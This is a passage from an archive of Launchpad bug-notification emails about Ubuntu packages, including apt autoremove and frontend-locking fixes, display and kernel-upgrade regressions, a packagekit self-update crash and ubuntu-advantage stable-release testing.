packages installs a new kernel 4.4.0-79 (for example) the
linux-cloud-tools-4.4.0-78 and linux-cloud-tools-4.4.0-78-generic packages are
removed by the Remove-Unused-Dependencies rule, because unlike "normal" kernel
packages they are not excluded by /etc/apt/apt.conf.d/01autoremove-kernels.
The linux-cloud-tools package has the hyper-v integration services
daemons in it, so it's deletion leaves some of the integration not
working.
Could /etc/apt/apt.conf.d/01autoremove-kernels be updated so other
hyper-v users aren't caught out by this?
Thanks,
Ian.
[Test case]
Make sure that linux-cloud-tools for protected kernels are listed in
APT::NeverAutoRemove, for example, on cosmic:
"^linux-cloud-tools-4\.17\.0-9-generic$";
"^linux-cloud-tools-4\.18\.0-7-generic$";
Those are in 01autoremove-kernels
[Regression Potential]
some linux-cloud-tools will linger around, so it takes more space.
[Other info]
ProblemType: Bug
DistroRelease: Ubuntu 16.04
Package: unattended-upgrades 0.90ubuntu0.6
ProcVersionSignature: Ubuntu 4.4.0-79.100-generic 4.4.67
Uname: Linux 4.4.0-79-generic x86_64
ApportVersion: 2.20.1-0ubuntu2.6
Architecture: amd64
Date: Thu Jun 15 15:27:35 2017
InstallationDate: Installed on 2016-04-25 (415 days ago)
InstallationMedia: Ubuntu-Server 16.04 LTS "Xenial Xerus" - Release amd64
(20160420.3)
PackageArchitecture: all
SourcePackage: unattended-upgrades
UpgradeStatus: No upgrade log present (probably fresh install)
modified.conffile..etc.apt.apt.conf.d.10periodic: [modified]
modified.conffile..etc.update-motd.d.90-updates-available: [deleted]
modified.conffile..etc.update-motd.d.98-fsck-at-reboot: [deleted]
modified.conffile..etc.update-motd.d.98-reboot-required: [deleted]
mtime.conffile..etc.apt.apt.conf.d.10periodic: 2016-04-25T16:28:36.64
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1698159/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1787120] Re: apt show fails to show large records
This bug was fixed in the package apt - 1.2.29
---
apt (1.2.29) xenial; urgency=medium
* Set DPKG_FRONTEND_LOCKED when running {pre,post}-invoke scripts.
Some post-invoke scripts install packages, which fails because
the environment variable is not set. This sets the variable for
all three kinds of scripts {pre,post-}invoke and pre-install-pkgs,
but we will only allow post-invoke at a later time.
(LP: #1796808)
apt (1.2.28) xenial; urgency=medium
[ Julian Andres Klode ]
* apt.conf.autoremove: Add linux-cloud-tools to list (LP: #1698159)
* Add support for dpkg frontend lock (Closes: #869546) (LP: #1781169)
* Set DPKG_FRONTEND_LOCKED as needed when doing selection changes
* http: Stop pipeline after close only if it was not filled before
(LP: #1794957)
* pkgCacheFile: Only unlock in destructor if locked before (LP: #1794053)
* Update libapt-pkg5.0 symbols for frontend locking
[ David Kalnischkies ]
* Support records larger than 32kb in 'apt show' (Closes: #905527)
(LP: #1787120)
-- Julian Andres Klode Tue, 09 Oct 2018 12:35:03
+0200
** Changed in: apt (Ubuntu Xenial)
Status: Fix Committed => Fix Released
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1787120
Title:
apt show fails to show large records
Status in apt package in Ubuntu:
Invalid
Status in apt source package in Xenial:
Fix Released
Status in apt source package in Bionic:
Fix Released
Status in apt package in Debian:
Confirmed
Bug description:
[Impact]
apt show can't show records that are larger than 32 KB, e.g. records with
long lists of provides
[Test case]
A test case is provided in autopkgtest, hence validates automatically. See
https://salsa.debian.org/apt-team/apt/commit/409ceec9ed30cbebd8ece1ef7ce667ab5a32f9df
for details.
[Other info]
This is a duplicate of Debian bug #905527.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1787120/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1781169] Update Released
The verification of the Stable Release Update for apt has completed successfully and the package has now been released to -updates. Subsequently, the Ubuntu Stable Release Updates Team is being unsubscribed and will not receive messages about this bug report. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1781169 Title: apt frontend locking Status in apt package in Ubuntu: Fix Released Status in apt source package in Xenial: Fix Released Status in apt source package in Bionic: Fix Released Bug description: [Impact] apt acquires /var/lib/dpkg/lock but has to release it while running dpkg, offering a short window for other clients to acquire the lock. This implements /var/lib/dpkg/lock-frontend which will be acquired earlier and not released by apt for dpkg to run. dpkg will try to acquire the frontend lock as well, unless told not to do so via an environment variable, which apt does; hence concurrent runs of dpkg without other locking can't happen. [Test case] Run strace apt install $something and check that lock-frontend is acquired at the beginning and not released until the end. [Regression potential] Frontend locking failures are in English, as there are no translations yet. More locks also mean more potential for locking to go wrong across programs, but since we don't have any waiting locks we at least won't deadlock. [Other info] This is part of a wider series of SRUs for frontend locking - dpkg (bug 1796081) - apt (bug 1781169) - python-apt (bug 1795407) - packagekit (bug 1795614) - unattended-upgrades (bug 1789637) - aptdaemon (no bug filed yet) Further details about frontend locking can be found in https://lists.debian.org/debian-dpkg/2017/01/msg00044.html To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1781169/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799613] Re: In kernel 4.14.59, monitor resolution is detected correctly. In kernels after that, they are not detected correctly.
https://bugzilla.freedesktop.org/show_bug.cgi?id=108554 -- Cristian Aravena Romero (caravena) ** Bug watch added: freedesktop.org Bugzilla #108554 https://bugs.freedesktop.org/show_bug.cgi?id=108554 ** Also affects: linux via https://bugs.freedesktop.org/show_bug.cgi?id=108554 Importance: Unknown Status: Unknown -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1799613 Title: In kernel 4.14.59, monitor resolution is detected correctly. In kernels after that, they are not detected correctly. Status in Linux: Unknown Status in linux package in Ubuntu: Confirmed Status in xorg package in Ubuntu: New Bug description: dpkg --list | grep linux-image ii linux-image-4.15.0-36-generic 4.15.0-36.39 amd64Signed kernel image generic ii linux-image-4.15.0-38-generic 4.15.0-38.41 amd64Signed kernel image generic ii linux-image-generic 4.15.0.38.40 amd64Generic Linux kernel image ii linux-image-unsigned-4.14.59-041459-generic 4.14.59-041459.201807280929 amd64Linux kernel image for version 4.14.59 on 64 bit x86 SMP Booting from GRUB into 4.14.59 allows my two monitors to run at their native resolution, 2560x1440. Any newer kernel does not allow my two monitors to run at their native resolution, only allowing up to 1920x1200. uname -a Linux blackbox 4.14.59-041459-generic #201807280929 SMP Sat Jul 28 09:32:10 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux To manage notifications about this bug go to: https://bugs.launchpad.net/linux/+bug/1799613/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799964] [NEW] Ubuntu 18.10 After Blank Screen System Won't Come Back
Public bug reported: In Ubuntu 18.10 if the blank screen feature initiates (5 minutes default) the system will remain blank and there is no way to get the display back on without a hard reset. The video card I am using is a Vega 64. Other users who have Vega AMD GPU's are experiencing the same issue. This is only happening in Ubuntu 18.10. Does not occur in my Arch or Fedora installs. To reproduce: - Let 'Blank Screen' feature execute (5 min default) - Screen will not come back ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: xorg 1:7.7+19ubuntu8 ProcVersionSignature: Ubuntu 4.18.0-10.11-generic 4.18.12 Uname: Linux 4.18.0-10-generic x86_64 ApportVersion: 2.20.10-0ubuntu13 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Oct 25 10:18:59 2018 DistUpgraded: Fresh install DistroCodename: cosmic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Vega 10 XT [Radeon RX Vega 64] [1002:687f] (rev c1) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. Vega 10 XT [Radeon RX Vega 64] [1043:04c4] InstallationDate: Installed on 2018-10-19 (6 days ago) InstallationMedia: Ubuntu 18.10 "Cosmic Cuttlefish" - Release amd64 (20181017.3) MachineType: Micro-Star International Co., Ltd. MS-7B78 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.18.0-10-generic root=UUID=21c08187-f134-41b4-b8e5-93bead748c4f ro quiet splash SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/24/2018 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2.20 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: X470 GAMING PRO CARBON (MS-7B78) dmi.board.vendor: Micro-Star International Co., Ltd. dmi.board.version: 1.0 dmi.chassis.asset.tag: To be filled by O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: Micro-Star International Co., Ltd. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr2.20:bd04/24/2018:svnMicro-StarInternationalCo.,Ltd.:pnMS-7B78:pvr1.0:rvnMicro-StarInternationalCo.,Ltd.:rnX470GAMINGPROCARBON(MS-7B78):rvr1.0:cvnMicro-StarInternationalCo.,Ltd.:ct3:cvr1.0: dmi.product.family: To be filled by O.E.M. dmi.product.name: MS-7B78 dmi.product.sku: To be filled by O.E.M. dmi.product.version: 1.0 dmi.sys.vendor: Micro-Star International Co., Ltd. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.95-1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.2.2-0ubuntu1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.2.2-0ubuntu1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.1-3ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.1.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1ubuntu1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-3 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug cosmic ubuntu -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1799964 Title: Ubuntu 18.10 After Blank Screen System Won't Come Back Status in xorg package in Ubuntu: New Bug description: In Ubuntu 18.10 if the blank screen feature initiates (5 minutes default) the system will remain blank and there is no way to get the display back on without a hard reset. The video card I am using is a Vega 64. Other users who have Vega AMD GPU's are experiencing the same issue. This is only happening in Ubuntu 18.10. Does not occur in my Arch or Fedora installs. To reproduce: - Let 'Blank Screen' feature execute (5 min default) - Screen will not come back ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: xorg 1:7.7+19ubuntu8 ProcVersionSignature: Ubuntu 4.18.0-10.11-generic 4.18.12 Uname: Linux 4.18.0-10-generic x86_64 ApportVersion: 2.20.10-0ubuntu13 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Thu Oct 25 10:18:59 2018 DistUpgraded: Fresh install DistroCodename: cosmic DistroVariant: ubuntu ExtraDebuggingInterest: Yes GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Vega 10 XT [Radeon RX Vega 64] [1002:687f] (rev c1) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. Vega 10 XT [Radeon RX Vega 64] [1043:04c4] InstallationDate: Installed on 2018-10-19 (6 days ago) InstallationMedia: Ubuntu 18.10 "Cosmic Cuttlefish" - Release am
[Touch-packages] [Bug 1790613] Re: Regression: packagekit crashes updating itself to a new version
Has it been fixed in/checked for 18.10 (Cosmic)? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to packagekit in Ubuntu. https://bugs.launchpad.net/bugs/1790613 Title: Regression: packagekit crashes updating itself to a new version Status in packagekit package in Ubuntu: Fix Released Status in plasma-discover package in Ubuntu: Confirmed Status in packagekit source package in Bionic: Fix Released Status in plasma-discover source package in Bionic: Confirmed Bug description: [Impact] Bionic: 18.04 Version: 1.1.9-1ubuntu2 upgrading itself to 1.1.9-1ubuntu2.18.04.1 Updating with pkcon upgrade or plasma-discover crashes packagekit mid transaction, requiring user intervention on the command line. In plasma-discover the gui reports the crash briefly, but then stalls in apparent mid update, requiring the user to force close it and again resolve the issue on the command line. Example transactions: $ pkcon update Getting updates [=] Finished [=] Loading cache [=] Testing changes [=] Finished [ ] (0%) The following packages have to be updated: gir1.2-packagekitglib-1.0-1.1.9-1ubuntu2.18.04.1.amd64 GObject introspection data for the PackageKit GLib library libpackagekit-glib2-18-1.1.9-1ubuntu2.18.04.1.amd64Library for accessing PackageKit using GLib packagekit-1.1.9-1ubuntu2.18.04.1.amd64Provides a package management service packagekit-tools-1.1.9-1ubuntu2.18.04.1.amd64 Provides PackageKit command-line tools Proceed with changes? [N/y] y [=] Updating packages [=] Waiting for authentication[=] Loading cache [=] Running [=] Installing packages [ ] (80%) The daemon crashed mid-transaction! $ sudo apt-get upgrade E: dpkg was interrupted, you must manually run 'sudo dpkg --configure -a' to correct the problem. and obviously after that doing anything meaningful with packagekit like installing a package fails $pkcon install kaffeine Resolving [=] Testing changes [=] Finished [ ] (0%) The following packages have to be installed: kaffeine-2.0.14-1.amd64versatile media player for KDE Proceed with changes? [N/y] y [=] Installing[=] Waiting for authentication[=] Waiting for package manager lock[=] Finished [=] Fatal error: E: dpkg was interrupted, you must manually run 'dpkg --configure -a' to correct the problem. [Test case] Upgrade packagekit using pkcon, make sure it does not "crash". [Regression potential] It could only lead to old packagekitd processes not restarting. packagekit will still be told to restart itself like before, the restart being added was unintended. --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CurrentDesktop: KDE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-26 (69 days ago) InstallationMedia: Kubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: packagekit 1.1.9-1ubuntu2.18.04.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-33.36-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-33-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/packagekit/+bug/1790613/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799858] Re: package linux-image-4.4.0-138-generic 4.4.0-138.164 failed to install/upgrade
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: initramfs-tools (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu. https://bugs.launchpad.net/bugs/1799858 Title: package linux-image-4.4.0-138-generic 4.4.0-138.164 failed to install/upgrade Status in initramfs-tools package in Ubuntu: Confirmed Bug description: package linux-image-4.4.0-138-generic 4.4.0-138.164 failed to install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with return code 127 kernel installations halt while scanning mdadm arrays, eventually timing out and failing ProblemType: Package DistroRelease: Ubuntu 16.04 Package: linux-image-4.4.0-138-generic 4.4.0-138.164 ProcVersionSignature: Ubuntu 4.4.0-137.163-generic 4.4.144 Uname: Linux 4.4.0-137-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_drm nvidia_modeset nvidia ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: darknite 3697 F pulseaudio /dev/snd/controlC0: darknite 3697 F pulseaudio Date: Wed Oct 24 18:03:47 2018 ErrorMessage: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with return code 127 HibernationDevice: RESUME=UUID=93c26513-703e-41c7-b051-ce990cb1c75a InstallationDate: Installed on 2014-07-21 (1556 days ago) InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Release amd64 (20140417) MachineType: To Be Filled By O.E.M. To Be Filled By O.E.M. ProcFB: 0 VESA VGA ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-137-generic root=UUID=58386e6d-2705-4538-831c-48934ded8dbb ro nomdmonddf nomdmonisw PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No PulseAudio daemon running, or not running as session daemon. RelatedPackageVersions: grub-pc 2.02~beta2-36ubuntu3.18 RfKill: 0: phy0: Wireless LAN Soft blocked: no Hard blocked: no SourcePackage: initramfs-tools Title: package linux-image-4.4.0-138-generic 4.4.0-138.164 failed to install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with return code 127 UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 09/18/2014 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: P1.00 dmi.board.asset.tag: D050995F178D dmi.board.name: 980DE3/U3S3 R2.0 dmi.board.vendor: ASRock dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrP1.00:bd09/18/2014:svnToBeFilledByO.E.M.:pnToBeFilledByO.E.M.:pvrToBeFilledByO.E.M.:rvnASRock:rn980DE3/U3S3R2.0:rvr:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.name: To Be Filled By O.E.M. dmi.product.version: To Be Filled By O.E.M. dmi.sys.vendor: To Be Filled By O.E.M. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1799858/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1791367] Re: Airplane mode key on Asus ZenBook Flip UX561UD laptop not working in gnome-shell (X or Wayland) but working on console (Cosmic 18.10)
The xkeyboard-config part of this issue is about to be fixed via a stable release update (bug #1740894). It will be fixed in both 18.04 and 18.10. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xkeyboard-config in Ubuntu. https://bugs.launchpad.net/bugs/1791367 Title: Airplane mode key on Asus ZenBook Flip UX561UD laptop not working in gnome-shell (X or Wayland) but working on console (Cosmic 18.10) Status in xkeyboard-config package in Ubuntu: Confirmed Bug description: Please forgive if filed for wrong package. Problem occurs in X and Wayland sessions but not on console, so does not seem to be kernel. Repro on Asus UX561UD with Ubuntu 18.10 up to date: 1. Log into Gnome X or Gnome Wayland session 2. Press Fn+F2 which is the airplane mode key -> Airplane mode should turn on but nothing happens 3. Switch to console with Ctrl+Alt+F3 4. Log into console 5. Press Fn+F2 again 6. Switch back to GUI session with Ctrl+Alt+F2 -> Airplane mode is on, icon appeared in Gnome task bar Same for turning it off. No difference when booting 18.04.1 live image This laptop seems not the only one with this problem. I got the idea for trying the console trick from ArenaL5's answer on Askubuntu, but unfortunately there is no solution there: https://askubuntu.com/questions/972367/airplane-mode-switch-does-not-respond Please let me know whatever I can do to help debug this. All other Fn+Fx special keys on this laptop work (display brightness, touchpad off, sound etc.) except for keyboard backlight, but that works with Ubuntu 18.04.1 and I will file a separate bug for this ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: xorg 1:7.7+19ubuntu8 ProcVersionSignature: Ubuntu 4.17.0-9.10-generic 4.17.17 Uname: Linux 4.17.0-9-generic x86_64 ApportVersion: 2.20.10-0ubuntu9 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Fri Sep 7 21:37:01 2018 DistUpgraded: Fresh install DistroCodename: cosmic DistroVariant: ubuntu DkmsStatus: nvidia, 390.87, 4.17.0-9-generic, x86_64: installed ExtraDebuggingInterest: Yes GraphicsCard: Intel Corporation UHD Graphics 620 [8086:5917] (rev 07) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. UHD Graphics 620 [1043:14ee] Subsystem: ASUSTeK Computer Inc. GP107M [GeForce GTX 1050 Mobile] [1043:14ee] InstallationDate: Installed on 2018-09-05 (1 days ago) InstallationMedia: Ubuntu 18.10 "Cosmic Cuttlefish" - Alpha amd64 (20180822) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 004: ID 8087:0a2b Intel Corp. Bus 001 Device 003: ID 13d3:5256 IMC Networks Bus 001 Device 002: ID 8644:800b Intenso GmbG Micro Line (4GB) Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: ASUSTeK COMPUTER INC. UX561UD ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.17.0-9-generic root=UUID=02bad6b5-ca8f-4184-b477-935995e14bdc ro quiet splash vt.handoff=1 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 03/06/2018 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX561UD.304 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX561UD dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 31 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX561UD.304:bd03/06/2018:svnASUSTeKCOMPUTERINC.:pnUX561UD:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX561UD:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct31:cvr1.0: dmi.product.family: ZenBook Flip dmi.product.name: UX561UD dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.94-1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.1.5-1ubuntu1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.1.5-1ubuntu1 version.xserver-xorg-core: xserver-xorg-core 2:1.20.1-1ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1build1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1build1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-3 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xkeyboard-config/+bug/1791367/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1789924] Update Released
The verification of the Stable Release Update for xorg-server has completed successfully and the package has now been released to -updates. Subsequently, the Ubuntu Stable Release Updates Team is being unsubscribed and will not receive messages about this bug report. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libdrm in Ubuntu. https://bugs.launchpad.net/bugs/1789924 Title: Missing Intel GPU pci-id's Status in libdrm package in Ubuntu: Fix Released Status in linux package in Ubuntu: Fix Released Status in mesa package in Ubuntu: New Status in xorg-server package in Ubuntu: Fix Released Status in libdrm source package in Bionic: New Status in linux source package in Bionic: Fix Released Status in mesa source package in Bionic: New Status in xorg-server source package in Bionic: Fix Released Bug description: [Impact] There are some new Intel GPU pci-id's that need to be added to several places: 0x3E98 0x87C0 and to make future additions easier, add platform definitions for Whiskey Lake and Amber Lake too. [Test case] Check that the user session uses the proper driver on these systems. [Regression potential] none, these just add pci-id's and platform definitions To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libdrm/+bug/1789924/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1686183] Re: Ship ubuntu-advantage in ubuntu-minimal
Hello David, or anyone else affected, Accepted ubuntu-meta into xenial-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/ubuntu- meta/1.361.2 in a few hours, and then in the -proposed repository. Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested and change the tag from verification-needed-xenial to verification-done-xenial. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification-failed-xenial. In either case, without details of your testing we will not be able to proceed. Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance for helping! N.B. The updated package will be released to -updates after the bug(s) fixed by this package have been verified and the package has been in -proposed for a minimum of 7 days. ** Changed in: ubuntu-meta (Ubuntu Xenial) Status: Confirmed => Fix Committed ** Tags removed: verification-done-xenial ** Tags added: verification-needed-xenial ** Changed in: ubuntu-meta (Ubuntu Trusty) Status: Confirmed => Fix Committed ** Tags removed: verification-done-trusty ** Tags added: verification-needed-trusty -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu. https://bugs.launchpad.net/bugs/1686183 Title: Ship ubuntu-advantage in ubuntu-minimal Status in ubuntu-advantage-tools package in Ubuntu: Fix Released Status in ubuntu-meta package in Ubuntu: Fix Released Status in ubuntu-advantage-tools source package in Precise: Fix Released Status in ubuntu-meta source package in Precise: Fix Released Status in ubuntu-advantage-tools source package in Trusty: Fix Released Status in ubuntu-meta source package in Trusty: Fix Committed Status in ubuntu-advantage-tools source package in Xenial: Fix Released Status in ubuntu-meta source package in Xenial: Fix Committed Status in ubuntu-advantage-tools source package in Yakkety: Won't Fix Status in ubuntu-meta source package in Yakkety: Won't Fix Status in ubuntu-advantage-tools source package in Zesty: Fix Released Status in ubuntu-meta source package in Zesty: Won't Fix Status in ubuntu-advantage-tools source package in Artful: Fix Released Status in ubuntu-meta source package in Artful: Fix Released Bug description: The ubuntu-advantage-tools package is a bit odd as it was first landed in precise to support the ESM effort inside canonical. [0] In order to bring this package up to date across other series in ubuntu, it has been recommended by the Ubuntu Foundations team to land into trusty next, then forward-port pocket-copy to all supported series until we get to the devel release. The version here: https://github.com/CanonicalLtd/ubuntu-advantage- script/releases/tag/v2 ... has all on-disk bits correctly working, for all series, but no-ops on any release other than precise (ESM is only for "unsupported" LTS releases as it were). This is a request to land ubuntu-advantage- tools into trusty, then pocket-copy it to supported series of ubuntu once that is finished. [Impact] * Allow ubuntu-advantage users to access the extended security maintenance script with a simple command line tool. This script needs to hit precise machines and be easy for ubuntu-advantage customers to enable, thus basefiles was chosen as a home. [Test Case] * Run ubuntu-advantage, it should print out help * Run sudo ubuntu-advantage enable (without sudo it will warn you), but you need to be an ubuntu-advantage customer to get that token. In the end, the script simply adds and removes an /etc/apt/sources.list.d entry. * Verify that the MOTD does not contain any mention of ubuntu- advantage esm or precise and its end of life * Verify that ubuntu-advantage enable-esm installs needed dependencies: - create the following file and its contents to have apt not install recommended packages by default: $ cat /etc/apt/apt.conf.d/no-recommends APT::Install-Recommends "false"; - remove ca-certificates and apt-transport-https: $ sudo apt remove ca-certificates apt-transport-https - run sudo ubuntu-advantage enable-esm and verify that the two removed packages are reinstalled * you can contact me (d...@canonical.com) if you would like a token for test purposes. [Regression Potential] * Low, this is a new script, not included in any automated startup paths. [Other Info] * http://blog.dustinkirkland.com/2017/03/ubuntu-1204-esm.html [0] https://insigh
[Touch-packages] [Bug 1686183] Please test proposed package
Hello David, or anyone else affected, Accepted ubuntu-meta into trusty-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/ubuntu- meta/1.325.1 in a few hours, and then in the -proposed repository. Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested and change the tag from verification-needed-trusty to verification-done-trusty. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification-failed-trusty. In either case, without details of your testing we will not be able to proceed. Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance for helping! N.B. The updated package will be released to -updates after the bug(s) fixed by this package have been verified and the package has been in -proposed for a minimum of 7 days. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu. https://bugs.launchpad.net/bugs/1686183 Title: Ship ubuntu-advantage in ubuntu-minimal Status in 